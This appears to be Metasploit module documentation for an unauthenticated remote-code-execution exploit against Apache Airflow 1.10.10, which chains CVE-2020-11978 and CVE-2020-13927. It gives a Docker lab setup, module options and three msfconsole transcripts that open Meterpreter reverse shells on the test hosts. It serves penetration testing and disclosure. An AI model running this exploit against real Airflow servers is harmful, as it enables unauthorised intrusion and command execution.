## Vulnerable Application

The vulnerability affects:

    * Apache Airflow versions less than 1.10.11

This module was successfully tested on:

    * Apache Airflow 1.10.10 installed with Docker on Debian 10
    * Apache Airflow 1.10.10 installed with Docker on Kali Linux 6.3.0
    * Apache Airflow 1.10.10 installed with Docker on Windows 10

Note that this module has not been tested on non-Docker installations of Airflow.

### Description

This module exploits an unauthenticated command injection vulnerability by combining
two critical vulnerabilities in Apache Airflow 1.10.10. The first, CVE-2020-11978, is
an authenticated command injection vulnerability found in one of Airflow's example DAGs,
`example_trigger_target_dag`, which allows any authenticated user to run arbitrary OS
commands as the user running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a
default setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's
Experimental REST API to perform malicious actions such as creating the vulnerable DAG
above. The two CVEs taken together allow vulnerable DAG creation and command injection,
leading to unauthenticated remote code execution.

### Setup

Install Apache Airflow v1.10.10 with a `docker-compose.yml` file below
([reference](https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)):
```yml
version: '3'

services:
  x-airflow-common:
    &airflow-common
    image: apache/airflow:1.10.10
    environment:
      &airflow-common-env
      AIRFLOW__WEBSERVER__AUTHENTICATE: 'true'
      AIRFLOW__WEBSERVER__AUTH_BACKEND: 'airflow.contrib.auth.backends.password_auth'
      AIRFLOW__CORE__LOAD_EXAMPLES: 'true'
    user: "${AIRFLOW_UID:-50000}:${AIRFLOW_GID:-50000}"
  airflow-webserver:
    <<: *airflow-common
    entrypoint: ["/bin/bash", "-c", "pip install 'apache-airflow[password]==1.10.10' --user && airflow initdb && (airflow webserver & airflow scheduler)"]
    ports:
      - 8080:8080
    healthcheck:
      test: ["CMD", "curl", "--fail", "http://localhost:8080/health"]
      interval: 10s
      timeout: 10s
      retries: 5
    restart: always
```

Run:

```sh
docker-compose up
```

and wait for the health check logs to indicate a 200 status message, e.g.:

```log
airflow-webserver_1  | 127.0.0.1 - - [11/Aug/2023:11:48:00 +0000] "GET /health HTTP/1.1" 200 187 "-" "curl/7.64.0"
```

## Verification Steps

- [x] Install Apache Airflow v1.10.10 as described above.
- [x] Verify that the container is in good health by looking at the logs or navigating to
`http://<TARGET_IP>:8080/admin/airflow/login`.
- [x] Start `msfconsole`.
- [x] Do: `use exploit/linux/http/apache_airflow_dag_rce`.
- [x] Do: `set RHOSTS <TARGET_IP>`.
- [x] Do: `set LHOST eth0`.
- [x] Do: `exploit`.

## Options

### TARGETURI (required)

This is the base path of the Airflow webserver. Defaults to `/`.

### RPORT (required)

This is the port of the Airflow webserver. Defaults to `8080`, although Docker port
mappings or custom installations can change it.

### DAG_PATH (required)

This is the path to the vulnerable example DAG `example_trigger_target_dag`, as accessed
from the Airflow Experimental REST API. Defaults to `/api/experimental/dags/example_trigger_target_dag`.

### TIMEOUT (required)

This is the amount of time (in seconds) that the module will wait for the payload to be
executed. Defaults to 120 seconds.

## Scenarios

### Apache Airflow 1.10.10 Installed with Docker on Debian 10

* Using default TARGET 0 - Unix Command

```msf
msf > use exploit/linux/http/apache_airflow_dag_rce 
[*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp
msf exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.245.139
RHOSTS => 192.168.245.139
msf exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0
LHOST => eth0
msf exploit(linux/http/apache_airflow_dag_rce) > exploit

[*] Started reverse TCP handler on 192.168.245.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing TARGET: "Unix Command" with PAYLOAD: "cmd/unix/python/meterpreter_reverse_tcp"
[+] Successfully created DAG: Created <DagRun example_trigger_target_dag @ 2023-09-17 14:33:46+00:00: manual__2023-09-17T14:33:46+00:00, externally triggered: True>
[*] Waiting for Scheduler to run the vulnerable DAG. This might take a while...
[*] Bash task is queued...
[*] Bash task is queued...
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.139:42718) at 2023-09-17 22:34:15 +0800
[+] Bash task is running. Expect a session if executed successfully.

meterpreter > getuid
Server username: airflow
meterpreter > sysinfo
Computer        : 8603acff8812
OS              : Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24)
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > 
```

### Apache Airflow 1.10.10 Installed with Docker on Kali Linux 6.4.0

* Using default TARGET 0 - Unix Command

```msf
msf > use exploit/linux/http/apache_airflow_dag_rce
[*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp
msf exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0
LHOST => eth0
msf exploit(linux/http/apache_airflow_dag_rce) > exploit

[*] Started reverse TCP handler on 192.168.245.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing TARGET: "Unix Command" with PAYLOAD: "cmd/unix/python/meterpreter_reverse_tcp"
[+] Successfully created DAG: Created <DagRun example_trigger_target_dag @ 2023-09-17 14:23:37+00:00: manual__2023-09-17T14:23:37+00:00, externally triggered: True>
[*] Waiting for Scheduler to run the vulnerable DAG. This might take a while...
[!] Bash task is not yet queued...
[*] Bash task is queued...
[+] Bash task is running. Expect a session if executed successfully.
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 172.18.0.2:55150) at 2023-09-17 22:24:10 +0800

meterpreter > getuid
Server username: airflow
meterpreter > sysinfo
Computer        : e4879badf9e2
OS              : Linux 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.4.11-1kali1 (2023-08-21)
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > 
```

### Apache Airflow 1.10.10 Installed with Docker (WSL Backend) on Windows 10

* Using default TARGET 0 - Unix Command

* Sometimes, the first Meterpreter session fails, but the second one opens successfully.

```msf
msf > use exploit/linux/http/apache_airflow_dag_rce 
[*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp
msf exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.50.180
RHOSTS => 192.168.50.180
msf exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0
LHOST => eth0
msf exploit(linux/http/apache_airflow_dag_rce) > exploit

[*] Started reverse TCP handler on 192.168.245.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing TARGET: "Unix Command" with PAYLOAD: "cmd/unix/python/meterpreter_reverse_tcp"
[+] Successfully created DAG: Created <DagRun example_trigger_target_dag @ 2023-08-21 02:03:23+00:00: manual__2023-08-21T02:03:23+00:00, externally triggered: True>
[*] Waiting for Scheduler to run the vulnerable DAG. This might take a while...
[!] Bash task is not yet queued...
[!] Bash task is not yet queued...
[!] Bash task is not yet queued...
[!] Bash task is not yet queued...
[*] Bash task is queued...
[*] Bash task is queued...
[+] Bash task is running. Expect a session if executed successfully.
[-] Meterpreter session 1 is not valid and will be closed
[*] 192.168.50.180 - Meterpreter session 1 closed.
[*] Meterpreter session 2 opened (192.168.245.128:4444 -> 192.168.245.1:65490) at 2023-08-21 10:05:05 +0800

meterpreter > getuid
Server username: airflow
meterpreter > sysinfo
Computer        : 8e6653049826
OS              : Linux 5.15.90.1-microsoft-standard-WSL2 #1 SMP Fri Jan 27 02:56:13 UTC 2023
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > 
```
